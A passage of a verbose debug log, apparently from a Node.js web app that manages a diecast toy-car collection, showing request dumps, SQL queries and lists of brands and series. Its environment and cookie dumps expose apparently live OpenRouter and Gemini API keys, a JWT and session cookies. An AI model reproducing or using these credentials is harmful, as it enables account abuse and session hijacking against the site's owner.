    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4; security.auth=s%3AwpRtlzKS9LBmSnSOMOMLnw%3D%3D.%2BKSaUuc%2FDWTb8yU%2F6QFPAmOdQv3WFeC3tEHlL1LT6sE5WLscwo60eF%2BAfeEU440ZVTJsGYw0CDeV1bBgmoymjrub9Wu%2F7%2FGbqEvWr55sNN%2BYf9HGvmuYJbNsrp8WZFFlWjiaJnhuZIR5IV9bWQhiec7uiCAirgoJ8BAD1uKk8bY%3D.E9%2BeLoUDLPqOLKYSBytp7vKYzPmz2pPOeoX3IEOO%2FnM; your_r_git.sid=s%3AiOgGMd8HpXh3s0Or3qmSG942OsfREkAo.hzOqt%2BvQ4Ohgzm3K66xa5gNlXhDeJ5v6yiHDvWVUKZI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    userID: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-22T13:02:50.698Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4; security.auth=s%3AwpRtlzKS9LBmSnSOMOMLnw%3D%3D.%2BKSaUuc%2FDWTb8yU%2F6QFPAmOdQv3WFeC3tEHlL1LT6sE5WLscwo60eF%2BAfeEU440ZVTJsGYw0CDeV1bBgmoymjrub9Wu%2F7%2FGbqEvWr55sNN%2BYf9HGvmuYJbNsrp8WZFFlWjiaJnhuZIR5IV9bWQhiec7uiCAirgoJ8BAD1uKk8bY%3D.E9%2BeLoUDLPqOLKYSBytp7vKYzPmz2pPOeoX3IEOO%2FnM; your_r_git.sid=s%3AiOgGMd8HpXh3s0Or3qmSG942OsfREkAo.hzOqt%2BvQ4Ohgzm3K66xa5gNlXhDeJ5v6yiHDvWVUKZI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-21T13:03:00.335Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-07-21T13:03:00.335Z server-connect:app Executing action step identify
2026-07-21T13:03:00.335Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:00.335Z server-connect:output identity: 1
2026-07-21T13:03:00.335Z server-connect:app Executing action step restrict
2026-07-21T13:03:00.335Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:00.336Z server-connect:output restrict: undefined
2026-07-21T13:03:00.337Z server-connect:app Executing action step custom
2026-07-21T13:03:00.337Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-21T13:03:00.340Z server-connect:output list: [
  { series: 107, name: 'HW EV', total: 6 },
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 227, name: 'Drag Racers', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 86, name: 'Vintage', total: 1 }
]
2026-07-21T13:03:08.538Z server-connect:router Serving templateView /diecast
2026-07-21T13:03:08.538Z server-connect:app Executing action step identify
2026-07-21T13:03:08.538Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:08.539Z server-connect:output identity: 1
2026-07-21T13:03:08.539Z server-connect:app Executing action step restrict
2026-07-21T13:03:08.539Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-21T13:03:08.539Z server-connect:output restrict: undefined
2026-07-21T13:03:08.539Z server-connect:router Render template diecast
2026-07-21T13:03:08.539Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4; security.auth=s%3AwpRtlzKS9LBmSnSOMOMLnw%3D%3D.%2BKSaUuc%2FDWTb8yU%2F6QFPAmOdQv3WFeC3tEHlL1LT6sE5WLscwo60eF%2BAfeEU440ZVTJsGYw0CDeV1bBgmoymjrub9Wu%2F7%2FGbqEvWr55sNN%2BYf9HGvmuYJbNsrp8WZFFlWjiaJnhuZIR5IV9bWQhiec7uiCAirgoJ8BAD1uKk8bY%3D.E9%2BeLoUDLPqOLKYSBytp7vKYzPmz2pPOeoX3IEOO%2FnM; your_r_git.sid=s%3AiOgGMd8HpXh3s0Or3qmSG942OsfREkAo.hzOqt%2BvQ4Ohgzm3K66xa5gNlXhDeJ5v6yiHDvWVUKZI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    userID: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-22T13:02:50.698Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4; security.auth=s%3AwpRtlzKS9LBmSnSOMOMLnw%3D%3D.%2BKSaUuc%2FDWTb8yU%2F6QFPAmOdQv3WFeC3tEHlL1LT6sE5WLscwo60eF%2BAfeEU440ZVTJsGYw0CDeV1bBgmoymjrub9Wu%2F7%2FGbqEvWr55sNN%2BYf9HGvmuYJbNsrp8WZFFlWjiaJnhuZIR5IV9bWQhiec7uiCAirgoJ8BAD1uKk8bY%3D.E9%2BeLoUDLPqOLKYSBytp7vKYzPmz2pPOeoX3IEOO%2FnM; your_r_git.sid=s%3AiOgGMd8HpXh3s0Or3qmSG942OsfREkAo.hzOqt%2BvQ4Ohgzm3K66xa5gNlXhDeJ5v6yiHDvWVUKZI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-21T13:03:08.783Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-21T13:03:08.785Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-21T13:03:08.786Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-21T13:03:08.787Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-21T13:03:08.788Z server-connect:app Executing action step identify
2026-07-21T13:03:08.788Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:08.788Z server-connect:output identity: 1
2026-07-21T13:03:08.788Z server-connect:app Executing action step restrict
2026-07-21T13:03:08.788Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:08.789Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-21T13:03:08.789Z server-connect:output restrict: undefined
2026-07-21T13:03:08.789Z server-connect:app Executing action step select
2026-07-21T13:03:08.789Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-21T13:03:08.790Z server-connect:app Executing action step identify
2026-07-21T13:03:08.790Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:08.790Z server-connect:output identity: 1
2026-07-21T13:03:08.790Z server-connect:app Executing action step restrict
2026-07-21T13:03:08.790Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:08.792Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-21T13:03:08.793Z server-connect:app Executing action step identify
2026-07-21T13:03:08.793Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:08.793Z server-connect:output identity: 1
2026-07-21T13:03:08.793Z server-connect:app Executing action step restrict
2026-07-21T13:03:08.793Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:08.794Z server-connect:output restrict: undefined
2026-07-21T13:03:08.795Z server-connect:app Executing action step select
2026-07-21T13:03:08.795Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-21T13:03:08.795Z server-connect:app Executing action step identify
2026-07-21T13:03:08.795Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:08.796Z server-connect:output identity: 1
2026-07-21T13:03:08.796Z server-connect:app Executing action step restrict
2026-07-21T13:03:08.796Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:08.797Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-21T13:03:08.797Z server-connect:app Executing action step identify
2026-07-21T13:03:08.797Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:08.798Z server-connect:output identity: 1
2026-07-21T13:03:08.798Z server-connect:app Executing action step restrict
2026-07-21T13:03:08.798Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:08.799Z server-connect:output restrict: undefined
2026-07-21T13:03:08.799Z server-connect:app Executing action step paged
2026-07-21T13:03:08.799Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-21T13:03:08.801Z server-connect:output restrict: undefined
2026-07-21T13:03:08.801Z server-connect:app Executing action step select
2026-07-21T13:03:08.801Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-21T13:03:08.803Z server-connect:output restrict: undefined
2026-07-21T13:03:08.803Z server-connect:app Executing action step select
2026-07-21T13:03:08.803Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-21T13:03:08.807Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 },
  { name: 'Drag Racers', id: 227 }
]
2026-07-21T13:03:08.809Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
